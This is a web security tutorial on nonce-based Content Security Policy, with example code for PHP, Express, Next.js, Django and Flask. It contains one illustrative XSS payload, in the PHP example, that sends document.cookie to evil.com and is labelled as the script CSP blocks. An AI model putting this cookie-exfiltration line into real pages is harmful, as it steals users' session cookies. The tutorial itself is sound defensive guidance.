Nonce-Based CSP: The Strongest XSS Protection You Can Get
Table of Contents
🔧 Validate Your CSP Policy
Copy a CSP example, deploy it, then verify it works with a real scan.
Verify with headertest.com →
🔧 Validate Your CSP Policy
Copy a CSP example, deploy it, then verify it works with a real scan.
Verify with headertest.com →🔧 Validate Your CSP Policy
Copy a CSP example, deploy it, then verify it works with a real scan.
Verify with headertest.com →🔧 Validate Your CSP Policy
Copy a CSP example, deploy it, then verify it works with a real scan.
Verify with headertest.com →If you’re serious about XSS prevention, nonce-based CSP is the way to go. It’s stronger than hash-based CSP, more maintainable than domain whitelisting, and once you understand the pattern, it’s not that complicated.
What Is a Nonce?#
A nonce (Number Used Once) is a random string generated by your server for each HTTP request. You include it in your CSP script-src directive AND in every <script> tag on the page. Scripts without the correct nonce are blocked.
The key insight: an attacker who injects a <script> tag can’t guess the nonce because it changes on every request. Even if they inject the script perfectly, it won’t execute.
How It Works#
- Server receives a page request
- Server generates a random nonce (e.g.,
a1b2c3d4e5f6...) - Server includes the nonce in the CSP header:
script-src 'nonce-a1b2c3d4e5f6...' - Server includes the nonce in every
<script nonce="a1b2c3d4e5f6...">tag - Browser allows scripts with matching nonce, blocks everything else
PHP Example#
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: "
. "default-src 'self'; "
. "script-src 'self' 'nonce-{$nonce}' 'strict-dynamic'; "
. "style-src 'self' 'unsafe-inline'; "
. "img-src 'self' data: https:; "
. "font-src 'self'; "
. "connect-src 'self'; "
. "frame-ancestors 'none'; "
. "base-uri 'self'; "
. "form-action 'self'");
?>
<!DOCTYPE html>
<html>
<head>
<!-- This works — nonce matches -->
<script nonce="<?php echo $nonce; ?>">
console.log('App initialized');
</script>
<!-- This works — nonce matches -->
<script nonce="<?php echo $nonce; ?>" src="https://www.googletagmanager.com/gtag/js?id=G-XXXXX"></script>
</head>
<body>
<!-- This works — nonce matches -->
<script nonce="<?php echo $nonce; ?>">
// Analytics setup
gtag('config', 'G-XXXXX');
</script>
<!-- THIS IS BLOCKED — no nonce or wrong nonce -->
<script>
document.location = 'https://evil.com?cookie=' + document.cookie;
</script>
</body>
</html>
Node.js/Express Example#
const crypto = require('crypto');
const express = require('express');
const app = express();
app.use((req, res, next) => {
// Generate a new nonce for every request
const nonce = crypto.randomBytes(16).toString('base64');
// Store it for use in templates
res.locals.nonce = nonce;
// Add to CSP header
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
`style-src 'self' 'unsafe-inline'; ` +
`img-src 'self' data: https:; ` +
`font-src 'self'; ` +
`connect-src 'self'; ` +
`frame-ancestors 'none'; ` +
`base-uri 'self'`
);
next();
});
// In your EJS template:
// <script nonce="<%= nonce %>">...</script>
Next.js Example#
// middleware.js
import { NextResponse } from 'next/server';
import { randomUUID } from 'crypto';
export function middleware(request) {
const nonce = Buffer.from(randomUUID()).toString('base64');
const cspHeader = [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' blob: data: https:`,
`font-src 'self'`,
`connect-src 'self'`,
`frame-ancestors 'none'`,
`base-uri 'self'`,
].join('; ');
const response = NextResponse.next();
response.headers.set('x-nonce', nonce);
response.headers.set('Content-Security-Policy', cspHeader);
return response;
}
// In your layout or page:
import { headers } from 'next/headers';
export default function Page() {
const nonce = headers().get('x-nonce');
return (
<script nonce={nonce} src="https://www.googletagmanager.com/gtag/js?id=G-XXXXX" />
);
}
Python/Django Example#
import base64
import os
class CSPMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
nonce = base64.b64encode(os.urandom(16)).decode('ascii')
request.csp_nonce = nonce
response = self.get_response(request)
response['Content-Security-Policy'] = (
f"default-src 'self'; "
f"script-src 'self' 'nonce-{nonce}' 'strict-dynamic'; "
f"style-src 'self' 'unsafe-inline'; "
f"img-src 'self' data: https:; "
f"font-src 'self'; "
f"frame-ancestors 'none'; "
f"base-uri 'self'"
)
return response
# In your template:
# <script nonce="{{ request.csp_nonce }}">...</script>
Python/Flask Example#
from flask import Flask, request, g
import base64, os
app = Flask(__name__)
@app.before_request
def add_nonce():
g.nonce = base64.b64encode(os.urandom(16)).decode('ascii')
@app.after_request
def add_csp(response):
nonce = g.get('nonce', '')
response.headers['Content-Security-Policy'] = (
f"default-src 'self'; "
f"script-src 'self' 'nonce-{nonce}' 'strict-dynamic'; "
f"style-src 'self' 'unsafe-inline'; "
f"img-src 'self' data: https:; "
f"frame-ancestors 'none'"
)
return response
Why ‘strict-dynamic’ Matters#
When you use a nonce with 'strict-dynamic', you get a powerful feature: scripts loaded by trusted scripts are automatically trusted too.
Without strict-dynamic:
You’d need to list every sub-resource that GTM loads.
With strict-dynamic:
GTM (loaded via nonce) can load other scripts, and those are automatically trusted. You don’t need to whitelist every domain.
The 'self' and https:// sources are actually ignored when 'strict-dynamic' is present (in browsers that support it). Only nonce and hash sources are used. This is by design.
Nonce vs Hash#
You might have seen hash-based CSP as an alternative. Here’s the comparison:
| Nonce | Hash | |
|---|---|---|
| How it works | Random string per request | Content hash per script |
| Updates needed | No — same nonce for all scripts | Yes — new hash for any script change |
| Dynamic content | Works great | Problematic — content changes = new hash |
| CDN caching | Works — nonce in header, not page | Works — hash matches content |
| Complexity | Low | High for anything dynamic |
For most applications, nonce is the better choice. Use hashes only for static, rarely-changing inline scripts.
Common Pitfalls#
-
Using the same nonce across requests — Defeats the purpose. Generate a new one for every request.
-
Forgetting the nonce on external scripts —
<script src="..." nonce="...">— the nonce goes on the tag, not in the URL. -
Not using strict-dynamic — Without it, you’ll need to whitelist every domain that every third-party script loads.
-
Caching pages with nonces — If you’re caching full HTML pages, the nonce gets cached too. Use edge-side includes or cache at the component level instead.
Verify Your CSP#
Check Your Setup#
After implementing nonce-based CSP, use headertest.com to verify everything is configured correctly.